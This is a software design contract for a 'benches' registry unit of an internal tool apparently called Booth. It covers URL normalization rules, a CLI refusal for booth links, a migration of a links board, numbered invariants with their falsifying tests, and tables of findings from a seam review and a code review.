- "`booth_target` IS HOST-AGNOSTIC AND PATH-SHAPED. A row is a booth link when its path is `/b/<name>` or `/b/<name>/...`, whatever the host. NOT a host allowlist: the fleet reaches this service as `10.100.10.50:8090`, `localhost:8090` and `nh3-dev.nh3.internal:8090`, and an allowlist would silently fail to refuse from whichever name somebody used next -- a rule that fails OPEN on the exact case it exists to catch. The accepted cost is that a third-party URL with a `/b/<x>` path would be misread; the failure is visible (a refusal naming the reason, or a row marked dead) rather than silent, and no such URL exists on the board today."
|
||||
- "NOTHING THIS UNIT SHIPS DELETES A ROW. ROADMAP names 'a migration that deletes anything' as explicitly not in v1. `links.md` is archived verbatim before the registry is seeded, the import writes nothing without `--apply`, and the 156 dead rows are MARKED, not pruned -- removal stays the operator's two deliberate clicks through the `unlink-many` control that has existed since before this unit. The marker is what makes the existing control usable at 221 rows; it is not a second delete path."
|
||||
- "THE SERVICE NEVER PROBES THE NETWORK. `read_benches` is a filesystem read on the render path, exactly like `read_manifest` and `marks_for`. A bench's liveness is not checked by this unit at all -- see Out of scope, where the decision and its reversal cost are stated."
|
||||
- "`booth/benches.py` IS STDLIB-ONLY and joins the CLAUDE.md invariant 1 list, for the same reason `manifest.py` did: `scripts/booth` imports it through a `python3 -c` heredoc under the system python3 with no venv. It must also be SIBLING-FREE -- it does not import `links`, `marks`, `asks` or `manifest`, because a cross-import between two stdlib-only modules is a second way for that invariant to break. `booth_target` therefore lives in `links.py` (the board's module, where the board's callers already are) and `benches.py` does not call it; the CLI and `app.py` each import both."
|
||||
- "THE REGISTRY IS ONE FILE AT THE DATA ROOT, `~/booth-data/.benches.json` -- a dotfile OUTSIDE the booth namespace. It is therefore not a booth, cannot be swept, cannot be mistaken for one by `list_booths` (which iterates directories), and needs no exclusion rule anywhere. Single-writer with many readers, like marks and unlike `links.md`: the operator in one browser plus CLI calls, so it is a per-file atomic replace under an flock on the read-modify-write, NOT an append log. Inheriting the append-log shape here would be the multi-writer/single-writer mistake CLAUDE.md names."
|
||||
- "THE ON-DISK SHAPE IS AN OBJECT KEYED BY ID, not a list. Two rows with the same identity are then impossible BY CONSTRUCTION rather than by an upsert remembering to check -- which is the whole point of giving a bench an identity. The rendered order is separate and stated (INV-4); the file's key order is not load-bearing and is never read as an order."
|
||||
open_questions:
|
||||
- "ONE BENCH, TWO URLS. `talk` is reachable as both `https://talk.nh3.phasefinal.com:8092/` (trusted cert) and `https://10.100.10.50:8092/` (internal IP, cert warning), and both are on the board with descriptions that say so. Full-URL identity correctly keeps them as two rows, because they ARE two URLs -- but they are one bench. An alias field would merge them; so would letting a bench carry a list of URLs. Neither is designed here: aliasing is a judgment about what counts as the same thing, the registry is ~14 rows, and two rows for one bench is legible. Deferred, not solved."
|
||||
- "WHETHER `booth link` SHOULD ALSO NUDGE TOWARD `bench add` for a URL that looks like a service root. It is not refused -- measured, roughly 14 of the 35 distinct non-booth targets are reference bookmarks (repos, model cards, docs) for which the board is the right and only home, so a second refusal would break a job the board legitimately still does. A non-blocking hint is defensible and is not in this unit."
|
||||
---
|
||||
|
||||
# U6 — benches
|
||||
|
||||
## The defect, stated precisely
|
||||
|
||||
Re-measured 2026-09-22 against the live board, because the numbers in the IA
|
||||
doc are a day old and the board grew:
|
||||
|
||||
| | IA doc, 2026-09-21 | today |
|
||||
|---|---|---|
|
||||
| rows on the standing board | 211 | **221** |
|
||||
| rows that are booth URLs | not split out | **178 — 80% of the board** |
|
||||
| …whose booth no longer exists | 145 (69%) | **156 — 71% of the whole board** |
|
||||
| rows that are not booth URLs | ~40 | **43** |
|
||||
| …distinct after normalization | — | **35** |
|
||||
|
||||
The headline number in the IA doc — *69% rot* — is **two different defects
|
||||
wearing one number**, and separating them is what makes this unit the right
|
||||
size:
|
||||
|
||||
1. **Booth-announcement rot (178 rows).** A session posted a booth URL because
|
||||
a booth could not announce itself. **U5 closed the cause**: a booth now
|
||||
carries `.booth.json` and the index is the feed. Nothing yet stops the
|
||||
habit, so the board took 11 more of these rows in the day since it was
|
||||
measured. This unit's *enforced rule* is the stopper, and the *dead marker*
|
||||
is what lets the operator clear what already landed.
|
||||
|
||||
2. **Bench re-post (8 rows).** `booth link` is an append with no identity, so
|
||||
re-announcing a bench creates a row rather than updating one: `talk` five
|
||||
times, Peedlar's root three. This unit's *registry* is the fix, and it is
|
||||
the smaller half — which is worth saying plainly, because the IA doc's
|
||||
single 69% figure implies otherwise.
|
||||
|
||||
A third thing the measurement found, which the IA doc does not describe: **the
|
||||
board has a legitimate residual job.** Of the 35 distinct non-booth targets,
|
||||
roughly 14 are running services (benches) and roughly 14 are reference
|
||||
bookmarks — gitea repositories, HuggingFace model cards, a vLLM recipe, a
|
||||
Headscale setup page. The IA doc plans for `booth link` to survive "as a
|
||||
deprecated alias". That would deprecate the only home a third of its live
|
||||
content has. **`booth link` is not deprecated by this unit.** It loses exactly
|
||||
one shape — the booth URL — and keeps the rest.
|
||||
|
||||
## What the measurement changed
|
||||
|
||||
Two lines of `docs/design/information-architecture.md` are wrong and are
|
||||
corrected in the same commit, rather than left for a reader to trip over:
|
||||
|
||||
- **`id : normalized URL`** stays, but the doc does not say what normalized
|
||||
means, and the obvious reading — the origin — is measurably destructive here
|
||||
(8 gitea repos into one row). The doc gains the rule and the number behind it.
|
||||
- **"`booth link` … survives as a deprecated alias rather than vanishing"** is
|
||||
struck. It survives as itself, minus one refused shape, for the reason above.
|
||||
|
||||
## The record
|
||||
|
||||
```python
|
||||
@dataclass(frozen=True)
|
||||
class Bench:
|
||||
id: str # the normalized URL — the identity, and the dict key on disk
|
||||
url: str # the URL AS POSTED — what a click goes to
|
||||
name: str # what it is
|
||||
owner: str # the althing handle that registered it, or "booth"
|
||||
state: str # "live" | "promoted" | "retired"
|
||||
added: str # ISO-8601 with offset, from the FIRST registration
|
||||
updated: str # ISO-8601 with offset, from the most recent upsert
|
||||
error: str | None = None # a read-time verdict; never stored
|
||||
```
|
||||
|
||||
`id` and `url` are two fields on purpose. The identity must be normalized so
|
||||
that re-posting updates; the href must be verbatim so that a URL whose server
|
||||
cares about a trailing slash, a case-sensitive path or a query still works when
|
||||
clicked. Collapsing them would make the registry quietly change where a link
|
||||
goes, which is the kind of bug that surfaces as "the operator clicked a bench
|
||||
and got a 404" and is never traced back here.
|
||||
|
||||
`added` survives re-registration; `updated` does not. That is the same shape as
|
||||
U5's `created`, and for the same reason: an upsert is the same bench saying
|
||||
something new about itself, not a new bench.
|
||||
|
||||
**`updated` means the last MUTATION of the record, not the last upsert** —
|
||||
`set_bench_state` bumps it too. Amended after the cold panel read "most recent
|
||||
upsert" literally and found the code bumping on a state change: the code is
|
||||
right (a promotion is a change to the record and "last touched" should say so)
|
||||
and the earlier wording was narrower than what anyone wants the field to mean.
|
||||
|
||||
**Caps, and what "applied" means for each — stated per field, because it is
|
||||
not the same verb for all of them.** The cold paraphrase panel found "applied at
|
||||
the write and again at the read" readable three ways (refuse / clip-for-display
|
||||
/ truncate-and-store) with a different build behind each, and 4-of-4 arms
|
||||
flagged it.
|
||||
|
||||
| field | cap | at the write | at the read |
|
||||
|---|---|---|---|
|
||||
| `name` | 120 | **truncated** | **truncated** |
|
||||
| `owner` | 64 | **truncated** | **truncated** |
|
||||
| `url` | 2048 | **refused** (`normalize_bench_url` raises) | **damage** — reported, never clipped |
|
||||
| `state` | one of three | **refused** | **damage** |
|
||||
| `id` | 2048 | **refused**, via the url it is derived from | **not applied** — see below |
|
||||
|
||||
`name` and `owner` are display budgets: clipping one costs a few characters in
|
||||
a panel row. **`url` is not a budget and must never be clipped**, at either end
|
||||
— INV-7 promises the click goes to the posted address byte for byte, and a
|
||||
shortened URL keeps that promise in the type system while breaking it in the
|
||||
browser. Nothing this code writes can store an over-long one; a hand-edited
|
||||
registry can, and that is damage.
|
||||
|
||||
**`id` is capped at the WRITE ONLY, and that asymmetry is deliberate.**
|
||||
`normalize_bench_url` refuses an input over `URL_MAX`, so nothing this code
|
||||
writes can exceed it. On the read the id is the dict KEY and it is the locator
|
||||
every control posts back — `bench state`, `bench rm`, and the panel's remove
|
||||
button all address by it. Truncating a hand-edited over-long key on read would
|
||||
produce a row the operator can see and cannot act on, which is strictly worse
|
||||
than a long one. Amended after the cold panel found the code and the contract
|
||||
disagreeing here; the code was right.
|
||||
|
||||
## Signatures
|
||||
|
||||
```python
|
||||
BENCHES_FILE = ".benches.json" # at the DATA ROOT — not inside a booth
|
||||
BENCH_LOCK = ".benches.lock"
|
||||
BENCH_STATES = ("live", "promoted", "retired")
|
||||
NAME_MAX, OWNER_MAX, URL_MAX = 120, 64, 2048
|
||||
BENCHES_MAX_BYTES = 256 * 1024
|
||||
|
||||
|
||||
def normalize_bench_url(url: str) -> str:
|
||||
"""The identity of a bench. Raises ValueError with a reason a human can act
|
||||
on -- the CLI prints it verbatim.
|
||||
|
||||
THE RULE, in full, because it is the identity and a vague identity is worse
|
||||
than a wrong one:
|
||||
* surrounding whitespace stripped
|
||||
* scheme lowercased; anything but http/https is refused
|
||||
* userinfo (`user:pass@host`) is REFUSED, never stripped
|
||||
* host lowercased; an empty host is refused
|
||||
* port dropped when it is the scheme default (80 for http, 443 for https)
|
||||
* path kept verbatim, except that a bare "/" becomes ""
|
||||
* query kept verbatim, INCLUDING its parameter order (a query is opaque)
|
||||
* fragment dropped
|
||||
"""
|
||||
|
||||
|
||||
def read_benches(root: Path) -> tuple[list[Bench], str | None]:
|
||||
"""Every registered bench, in the order of `order_benches`, plus a read-time
|
||||
error or None. NEVER RAISES -- this is on the render path (v0.2.2 lesson)."""
|
||||
|
||||
|
||||
def upsert_bench(root: Path, url: str, name: str, owner: str) -> tuple[Bench, bool]:
|
||||
"""Register or update by normalized URL. Returns (bench, created).
|
||||
`added` is preserved on update; `url`, `name`, `owner`, `updated` are
|
||||
replaced. `state` is preserved on update and is "live" on create."""
|
||||
|
||||
|
||||
def set_bench_state(root: Path, bench_id: str, state: str) -> Bench | None:
|
||||
"""Move a bench between live / promoted / retired. None if no such bench."""
|
||||
|
||||
|
||||
def remove_bench(root: Path, bench_id: str) -> Bench | None:
|
||||
"""Drop one bench. Returns the removed record, or None."""
|
||||
|
||||
|
||||
def order_benches(benches: Iterable[Bench]) -> list[Bench]:
|
||||
"""ORDER: (state rank, name casefolded, id) -- live before promoted before
|
||||
retired, then alphabetical, with the id as a total tie-break so two benches
|
||||
sharing a name cannot swap between renders. CLAUDE.md invariant 6."""
|
||||
```
|
||||
|
||||
And in `booth/links.py`, the one addition:
|
||||
|
||||
```python
|
||||
def booth_target(url: str) -> str | None:
|
||||
"""The booth NAME a URL points at, or None when it is not a booth URL.
|
||||
|
||||
ONE PREDICATE, THREE CALLERS -- the CLI's refusal, the board's dead marker,
|
||||
and the import's classifier. They must agree: a rule that refuses a shape
|
||||
the board then fails to mark as dead (or the reverse) is two readers of one
|
||||
truth, which is the bug this repo has now paid for three times.
|
||||
|
||||
THE NAME SEGMENT IS PERCENT-DECODED. `app.py` emits booth links through
|
||||
`quote(name, safe="")`, so a booth whose name needs encoding appears on the
|
||||
board encoded. Comparing the raw segment against a directory name would mark
|
||||
every such booth dead and would print the encoded form back at the poster in
|
||||
the refusal message. Seam review SR-7.
|
||||
|
||||
Returns the DECODED name. A path of `/b/` with no name, or a decoded name
|
||||
that is empty, starts with a dot, or contains a separator or `..`, is not a
|
||||
booth link (None) — the same rules `resolve_booth` enforces, so the two
|
||||
cannot disagree about what is addressable.
|
||||
"""
|
||||
```
|
||||
|
||||
## The enforced rule
|
||||
|
||||
`booth link <url>` refuses when `booth_target(url)` is not None:
|
||||
|
||||
```
|
||||
$ booth link http://10.100.10.50:8090/b/sindra-bakeoff/ "the bakeoff"
|
||||
booth link: that is a booth, and a booth announces itself now.
|
||||
booth new sindra-bakeoff --why "the bakeoff" (or --why on `booth add`)
|
||||
the index at http://10.100.10.50:8090/ is the feed.
|
||||
exit 2
|
||||
```
|
||||
|
||||
Three properties this refusal must have, each of which is an invariant below:
|
||||
|
||||
- **It names the alternative.** The teaching moment belongs at the point of use;
|
||||
17 handles have the muscle memory and a bare "refused" would send them to a
|
||||
human.
|
||||
- **It writes nothing — nothing at all.** Not the row, not the board
|
||||
directory, not the `.booth.json` announcement `booth link` creates on first
|
||||
use, not a lock file. The test asserts the data root's entries are unchanged,
|
||||
not merely that `links.md` lacks the row.
|
||||
|
||||
*(Amended: this listed two items while INV-3 listed four, so a reader of the
|
||||
prose alone could conclude a lock file was permissible. One list now, and it
|
||||
is the strict one.)*
|
||||
- **It is the ONLY new refusal.** A reference bookmark is still a link.
|
||||
|
||||
## What renders
|
||||
|
||||
On the standing board's page, above the rows:
|
||||
|
||||
- **The benches panel** — each bench as name, URL, owner, state, and the date
|
||||
it was added; ordered by `order_benches`. Controls to change state and to
|
||||
remove, both POST, both reversible in one click except remove.
|
||||
- **A board row whose booth is gone is marked dead** — visibly, with its
|
||||
checkbox pre-reachable by the existing select-all, so the operator can tick
|
||||
and use the `unlink-many` control already on the page. **No new delete path.**
|
||||
|
||||
**Dead means exactly this, and both halves are load-bearing:**
|
||||
`booth_target(row.url)` is not None **AND** the name it returns is not a live
|
||||
directory in the data root. A row that is not a booth link is never dead, no
|
||||
matter what it points at — the Booth cannot know whether a gitea repo still
|
||||
exists and must not guess. A booth link whose booth is alive is not dead. No
|
||||
lifetime arithmetic is involved: a booth one minute from expiry is alive.
|
||||
*(Stated after 3-of-4 cold arms read the rule two ways — predicate-driven vs
|
||||
existence-driven — with 221 rows riding on which.)*
|
||||
|
||||
A registry that cannot be read renders as a panel carrying its error, never as
|
||||
an absent panel and never as a 500 — the v0.2.2 lesson, which this repo learned
|
||||
by returning 500 for `/` and `/healthz` across all 25 booths.
|
||||
|
||||
**The panel is gated on PAGE IDENTITY — the booth carries a `links.md` — and
|
||||
never on content.** A content gate (`board or benches`) hides the panel AND its
|
||||
registration form exactly when the board is empty and the registry absent,
|
||||
which is the state a fresh deployment starts in and the one where "no benches
|
||||
registered yet" is most worth saying. That is the same defect as a damaged
|
||||
panel rendering as an absent one, one level up. Amended after the cold panel
|
||||
found the content gate shipped.
|
||||
|
||||
## The CLI surface
|
||||
|
||||
```
|
||||
booth bench add <url> <name> register or update; prints registered/updated
|
||||
booth bench ls list, in the rendered order, with ids
|
||||
booth bench state <id|url> <s> live | promoted | retired
|
||||
booth bench rm <id|url> remove one
|
||||
booth bench import classify the board's rows; WRITES NOTHING
|
||||
booth bench import --apply <id>... register ONLY the ids you name
|
||||
|
||||
`<id|url>` takes EITHER form because the input is normalized before the lookup,
|
||||
and normalization is idempotent — an id normalizes to itself. So the id `ls`
|
||||
prints and the raw URL in the operator's scrollback both address the same row.
|
||||
Pinned by a test, because it is the property that makes the two-form promise
|
||||
true rather than merely intended.
|
||||
```
|
||||
|
||||
`import` prints three groups — **booth rows** (skipped; `booth_target` matched),
|
||||
**candidates** (the normalized id beside the raw URL, so a collapse is visible
|
||||
before it happens), and **refused** (normalization raised, with the reason).
|
||||
|
||||
**`--apply` REQUIRES THE IDS. A bare `--apply` is refused.** This is the
|
||||
unit's sharpest correction and it came from all four arms of the cold paraphrase
|
||||
panel independently: the first draft registered every candidate, which made the
|
||||
write path do the exact thing this document's own rationale calls impossible —
|
||||
**tell a bench from a bookmark by its URL** — silently, to roughly 14 of 35 rows
|
||||
that belong on the board. The dry run prints ids; the operator names the ones
|
||||
that are benches; an id that is not a candidate is refused and nothing is
|
||||
written. There was no selection mechanism between the report and the write, and
|
||||
the report existed precisely because the decision is not mechanizable.
|
||||
|
||||
## The migration
|
||||
|
||||
1. `links.md` is archived verbatim to `~/booth-data/links/links-archive-2026-09-22.md`
|
||||
**and committed to this repo**, before anything else. Nothing the operator
|
||||
wrote is destroyed, and the archive is version-controlled rather than living
|
||||
only on one box.
|
||||
2. `booth bench import` proposes; the operator applies **by naming ids**.
|
||||
3. The 156 dead booth rows are marked, and removed by him or not at all.
|
||||
|
||||
## Scope — the blast-radius pass
|
||||
|
||||
`graphify explain` over `remove_link_entry`, `parse_link_entries`,
|
||||
`order_for_display`, `read_pins` and `toggle_pin`, cross-checked with grep
|
||||
because graphify cannot see the CLI's `python3 -c` import (it reports the
|
||||
`app.py` importers and the test callers; `scripts/booth:353` is invisible to it
|
||||
— the exact blindness CLAUDE.md names).
|
||||
|
||||
No existing function in `links.py` changes signature or behaviour. The board's
|
||||
rows keep their content-hash identity, so every pin, every `unlink` id in the
|
||||
operator's history, and every concurrent `booth link` append keep working
|
||||
untouched.
|
||||
|
||||
## Out of scope
|
||||
|
||||
- **Liveness probing.** The IA doc's BENCH shape carries `last_checked` /
|
||||
`last_ok`; ROADMAP's v1 row does not — it names *registry, identity, enforced
|
||||
rule, migration*, and the parking lot already parks the uptime history. This
|
||||
unit ships none of it, deliberately: it is the only part that does network
|
||||
I/O, which is the part that reliably takes 2–5 follow-up patches for cases the
|
||||
first shape did not anticipate — the accretion signature this whole rewrite is
|
||||
undoing. The record is designed so adding it later is purely additive (the
|
||||
read is lenient to unknown keys, so an older Booth reading a newer file does
|
||||
not break). **This is a scope reduction against the IA doc and the operator
|
||||
can reverse it; the cost of reversing it is one field pair and one CLI verb.**
|
||||
- **Pruning the board.** Not in v1, by ROADMAP.
|
||||
- **Bench aliases.** See open questions.
|
||||
- **A bench page.** A bench is a link to somewhere else; giving it a page here
|
||||
would make the Booth a directory service.
|
||||
- **Any change to how booths announce themselves.** That was U5 and it landed.
|
||||
|
||||
## Invariants
|
||||
|
||||
**INV-1 — one module knows the registry's filename and shape.**
|
||||
`booth/benches.py` is the only place `.benches.json` is named, parsed or
|
||||
written. No route body and no CLI branch constructs the path or reads the JSON.
|
||||
*Falsifiable:* a test that fails if the literal `.benches.json` appears anywhere
|
||||
outside `benches.py` — and specifically fails under the change that defeats it,
|
||||
which is a route reading the file directly to save an import. Asserting only
|
||||
that the panel renders would pass under exactly that change.
|
||||
|
||||
**INV-2 — one predicate decides what a booth URL is.** `links.booth_target` is
|
||||
the only implementation, and the CLI's refusal, the dead marker and the import's
|
||||
classifier all call it.
|
||||
*Falsifiable:* the defeating change is a second implementation — a `/b/` check
|
||||
inlined in the shell for speed, or a regex in `app.py`. One table of URLs
|
||||
(trailing slash, no slash, nested path, query, uppercase host, a non-Booth host
|
||||
with a `/b/` path, a `/b/` with no name, a percent-encoded name, a decoded `..`
|
||||
and a decoded separator) runs through the predicate, the CLI's refusal AND the
|
||||
render's dead marker.
|
||||
|
||||
**AGREEMENT IS THE WEAKER HALF AND IS NOT THE TEST.** Three callers of one
|
||||
wrong predicate agree perfectly, so agreement alone pins nothing — the table's
|
||||
**expected values** are the independent check, and the agreement rows exist to
|
||||
catch a second implementation drifting from the first. Both are asserted; only
|
||||
one of them would survive `booth_target` itself being wrong. *(Named after a
|
||||
cold arm pointed out that the falsifier reads as though agreement were
|
||||
sufficient.)* **A bare `/b/` with no name is NOT a booth link**, and the table
|
||||
pins that.
|
||||
|
||||
**INV-3 — a refused link writes nothing.** No row, no board directory, no
|
||||
`.booth.json`, no lock file.
|
||||
*Falsifiable:* the defeating change is moving the refusal after the `mkdir -p` /
|
||||
`announce` block in the `link` branch — which is where it would naturally land
|
||||
if written without thinking. The test refuses a link into a data root with NO
|
||||
`links` booth and asserts the directory still does not exist, not merely that
|
||||
`links.md` lacks the row. Asserting the row's absence alone would pass under the
|
||||
defeating change.
|
||||
|
||||
**INV-4 — the rendered bench order is total and stated.** `(state rank, name
|
||||
casefolded, id)`.
|
||||
*Falsifiable:* the defeating change is dropping the `id` tie-break, which leaves
|
||||
two benches sharing a name in whatever order the dict yielded. The test
|
||||
registers two benches with the SAME name in both insertion orders and asserts
|
||||
the same output sequence from both. A test over distinct names would pass with
|
||||
no tie-break at all.
|
||||
|
||||
**INV-5 — the read cannot raise, and cannot cost the caller unboundedly.**
|
||||
`read_benches` returns `([], "...")` for damaged, absent, oversized, or
|
||||
unreadable; it never propagates. Over `BENCHES_MAX_BYTES` is refused by size
|
||||
before it is parsed.
|
||||
*Falsifiable:* the defeating change is `json.load` without the guard. The test
|
||||
GETs the standing board's page with the registry (a) absent, (b) holding
|
||||
non-JSON bytes, (c) holding valid JSON of the wrong shape, (d) holding a
|
||||
well-formed record with a wrong-typed field, (e) over the size cap, and (f)
|
||||
chmod'd unreadable, asserting 200 for all six AND that (b)–(f) render a visible
|
||||
error rather than an empty panel. Case (d) is the one that matters: it is the
|
||||
shape that is currently 500ing the gallery elsewhere in this service.
|
||||
|
||||
**INV-6 — the identity collapses a re-post and nothing else.** Upserting the
|
||||
same normalized URL updates one row; upserting two URLs that differ in **scheme,
|
||||
host, non-default port, path, or query** creates two. **That list is
|
||||
EXHAUSTIVE** — the only things normalization discards are a fragment, a
|
||||
scheme-default port, letter case in the scheme and host, a bare `/` path, and
|
||||
surrounding whitespace.
|
||||
|
||||
*(Amended: this said "path, query or host" with no "only", which reads as
|
||||
illustrative and left an implementer free to "fix" the rule from the
|
||||
invariant's wording — and it omitted scheme and port, two of the five. 3-of-4
|
||||
cold arms flagged it; the falsifier now carries vectors for both.)*
|
||||
*Falsifiable:* the defeating change is normalizing to the origin. The test
|
||||
registers the eight gitea URLs measured on the live board and asserts **eight**
|
||||
benches, then registers `talk`'s five rows and asserts **one** — the same
|
||||
fixture proves both directions. A test that only checked the talk collapse would
|
||||
pass under origin normalization, which is precisely the wrong rule.
|
||||
|
||||
**INV-7 — `url` is what a click goes to; `id` is never rendered as an href.**
|
||||
*Falsifiable:* the defeating change is rendering `bench.id` in the anchor
|
||||
because it is "the clean one". The test registers a URL whose normalization
|
||||
differs from its raw form — **an uppercase host, an explicit default port, and
|
||||
a fragment** — and asserts the anchor's `href` is the raw string, byte for byte.
|
||||
|
||||
*(Amended: this parenthetical used to name "a trailing slash on a non-empty
|
||||
path" as one of the differences. **It is not one** — the rule list keeps a
|
||||
non-empty path verbatim, slash included, and INV-6 makes `…/p` and `…/p/` two
|
||||
benches. Two passages of this document disagreed about the same character, and
|
||||
3-of-4 cold arms found the contradiction. The rule list is correct; this
|
||||
sentence was wrong.)*
|
||||
|
||||
**INV-8 — nothing this unit ships removes a board row.** The dead marker is a
|
||||
render-time stamp; `import` without `--apply` writes nothing anywhere; `import`
|
||||
with `--apply` writes only the registry and its lock sidecar (`.benches.json`,
|
||||
`.benches.lock`) and never touches `links.md`.
|
||||
|
||||
*(Amended: this said "writes only `.benches.json`", which contradicted the
|
||||
unit's own assumption that every read-modify-write is held under an flock on a
|
||||
sidecar. The cold panel caught the contract arguing with itself. The
|
||||
load-bearing half — `links.md` is not touched — is unchanged and is what the
|
||||
test hashes.)*
|
||||
*Falsifiable:* the defeating change is `import --apply` "tidying up" the rows it
|
||||
consumed. The test snapshots `links.md` byte for byte, runs the full unit's CLI
|
||||
surface against it — refusal, import, import --apply, bench add, bench rm — and
|
||||
asserts the file is unchanged, including its mtime-independent content hash.
|
||||
|
||||
**INV-9 — stdlib-only, and sibling-free.** `booth/benches.py` imports nothing
|
||||
outside the standard library and nothing from `booth.*`.
|
||||
*Falsifiable:* the defeating change is `from booth.links import booth_target` —
|
||||
which is the natural thing to write, since `booth_target` is the predicate this
|
||||
unit's CLI branch also needs.
|
||||
|
||||
**The existing parametrized `test_stdlib_only` in tests/test_marks.py DOES
|
||||
NOT CATCH THAT, and an earlier draft of this contract claimed it did.** Its
|
||||
failure set is `{r for r in roots if r != "booth" and r not in
|
||||
sys.stdlib_module_names}` — it exempts `booth` explicitly, so a sibling import
|
||||
passes it clean. The sibling-free clause exists only in the stricter copy in
|
||||
tests/test_manifest.py. Adding `benches` to the parametrized list therefore
|
||||
buys stdlib-only and NOT sibling-free. So: `benches` joins that list AND
|
||||
`tests/test_benches.py` carries its own stricter copy, mirroring `manifest`'s,
|
||||
which fails on a `booth` root. Verified by reading the real test — seam review
|
||||
SR-1.
|
||||
|
||||
## Seam review — what the real sibling surfaces said
|
||||
|
||||
Run in-session against the actual `.py` files rather than their contracts,
|
||||
after the cold panel was dispatched and before any code. Seven checks, five
|
||||
findings, three of them real defects in this document. `/heid-contract-review`
|
||||
is artifact-only by design and structurally cannot run this pass: its arms read
|
||||
this file and are forbidden the siblings it borrows from.
|
||||
|
||||
| # | seam | what the real surface said | disposition |
|
||||
|---|---|---|---|
|
||||
| **SR-1** | `test_stdlib_only` (tests/test_marks.py) | **The contract was wrong.** It claimed the parametrized test "already carries" the sibling-free clause. It does not — its failure set is `{r for r in roots if r != "booth" and ...}`, which exempts `booth` on purpose. Only tests/test_manifest.py:209 has the strict copy. | **Fixed.** INV-9 now requires both: the parametrize entry AND a stricter copy in `tests/test_benches.py`. Without this the unit would have shipped with its own INV-9 untested. |
|
||||
| **SR-2** | `resolve_booth` (booth/app.py) | **The contract invited an outage.** It named `resolve_booth` as the existence check for the dead marker. That function is a closure inside `create_app` (not importable) and **raises HTTPException(404)** — called per row, one swept booth would 404 the entire board page. It also calls `.resolve()`, a syscall per row, 178 of them on this board. | **Fixed.** `depends_on` now forbids it explicitly and specifies an own non-raising predicate with the same name-safety rules. Cost stated below. |
|
||||
| **SR-7** | `quote(name, safe="")` (app.py, booth link emission) | **The contract was silent on encoding.** Booth links are emitted percent-encoded. A `booth_target` comparing the raw path segment to a directory name marks every encoded-name booth permanently dead and echoes the encoded form back in the refusal. | **Fixed.** `booth_target` decodes, and applies `resolve_booth`'s own addressability rules so the two cannot disagree. |
|
||||
| **SR-6** | `scripts/booth` dispatch (flat `case "$cmd"`, 13 single-word verbs) | Not a defect — a gap. **`bench add` would be the first two-word verb in this script.** Nothing about the existing dispatch anticipates one, and `booth bench` with no sub-verb must not fall through into the generic usage in a way that hides which word was wrong. | **Recorded.** A nested `case` under `bench)`, and a bare `bench` prints the bench verbs specifically. Named so the implementer does not invent a third pattern. |
|
||||
| **SR-3** | `data_dir` (booth/app.py) vs `DATA` (scripts/booth) | The service resolves and expands its root in `create_app`; the CLI derives it from `$BOOTH_DATA_DIR`. Two independent derivations of one path. | **No change.** This is already true of `links.md`, `.marks.json` and `.booth.json` — pre-existing and out of this unit's scope. Recorded so it is a known property rather than a discovery. |
|
||||
| **SR-4** | `list_booths` (booth/app.py) | **Confirmed, not assumed.** `if not child.is_dir() or child.name.startswith("."): continue` — `.benches.json` fails both guards. The index cannot see the registry. | **Verified.** The assumption stands on read code. |
|
||||
| **SR-5** | `sweep_once` (booth/app.py) | **Confirmed, not assumed — and this was the dangerous one.** The sweeper iterates the data root and could in principle delete the registry. It cannot: the same `is_dir()` + leading-dot pair guards it, and `shutil.rmtree` is reached only past both. | **Verified.** Had either guard been absent this unit would have shipped a design that eats its own registry on the first tick. |
|
||||
|
||||
**The per-render cost, stated because SR-2 surfaced it.** The dead marker runs
|
||||
once per board row: 221 rows today, 178 of which parse as booth links and cost
|
||||
one `is_dir()` each. That is one `stat` per booth row per render of the standing
|
||||
board's page — and the page already does a `booth_items` walk plus a `hold_read`
|
||||
per booth on the index, so it is not a new order of magnitude. It is bounded by
|
||||
the row count, it touches no network, and it is confined to the ONE booth that
|
||||
carries a `links.md`. If the board ever grows past a few thousand rows this
|
||||
becomes worth caching; at 221 it would be premature.
|
||||
|
||||
## Code review — what the cold panel found
|
||||
|
||||
`/heid-code-review` panel `01M35CK8YKEKMV7T15JXEF6A8N`, four arms, verdict
|
||||
**NOT drift-zero**. Folded in full. Three findings were independently reported
|
||||
by **all four arms**, which is the signature of a contract clause that was
|
||||
written as prose and never converted into an assertion.
|
||||
|
||||
| # | finding | arms | disposition |
|
||||
|---|---|---|---|
|
||||
| **A** | **The panel dropped the added date.** *What renders* says "the date it was added"; `b.added` appeared nowhere in the template and no test asked for it. | 4/4 | **Fixed** — rendered, and pinned by a test. |
|
||||
| **B** | **`bench ls` printed no ids**, and the truncated URL it printed was not pasteable into `bench state\|rm`. Worse: the test's own docstring *claimed* it printed ids while asserting nothing — a claim standing in for evidence, which is how the drift would have survived CI. | 4/4 | **Fixed** — the id prints whole and last; the test now round-trips what `ls` prints back through `bench state`. |
|
||||
| **C** | **`bench import` printed the description, not the raw URL**, beside each id — hiding the five-rows-of-talk collapse the clause exists to expose. | 4/4 | **Fixed** — raw URL beside the id, description demoted to a continuation line. |
|
||||
| **D** | **An IPv6 literal lost its brackets.** `http://[::1]:8080/a` normalized to `http://::1:8080/a` — not another spelling but a BROKEN identity, so a re-post never matches the row. | 3/4 | **Fixed** — bracketed literals are re-wrapped; an *unbracketed* one is refused with a reason rather than guessed at. |
|
||||
| **H** | **INV-4's tie-break falsifier could not fail.** `_write_all` serializes with `sort_keys=True`, so both insertion orders came back off disk already id-sorted and removing the tie-break left the test green. | 1/4 | **Fixed** — the test now calls `order_benches` directly with records that tie on both prior keys. A vacuous falsifier of exactly the class `persistent-memory.d/2026-09-22-vacuous-falsifiers.md` names, found by a cold reader and not by us. |
|
||||
| **I** | **An empty board hid the whole panel**, registration form included — the state a fresh deployment starts in. | 1/4 | **Fixed** — gated on page identity. |
|
||||
| **J** | **The `booth link` refusal could fail OPEN** on a name bash's `$()` erases, because it classified by captured-text emptiness. | 1/4 | **Fixed** — the predicate answers with a `B:`/`N` sentinel, so no name can be mistaken for "not a booth". |
|
||||
| **K** | A FIFO at the registry path blocked in `open()`; a deeply-nested JSON `RecursionError` escaped the `except (ValueError, OSError)` pair. | 1/4 | **The FIFO half was already fixed** by our own pass before the reply landed. **The RecursionError half was not** — 200k open brackets is 200 KB, well inside the byte cap, and it 500'd the page the function exists to protect. Fixed. |
|
||||
| **E** | The read does not apply the `id` cap the contract promised. | 3/4 | **Contract amended, code kept.** The id is the locator every control posts back; truncating a hand-edited over-long key would make a row visible and unactionable. |
|
||||
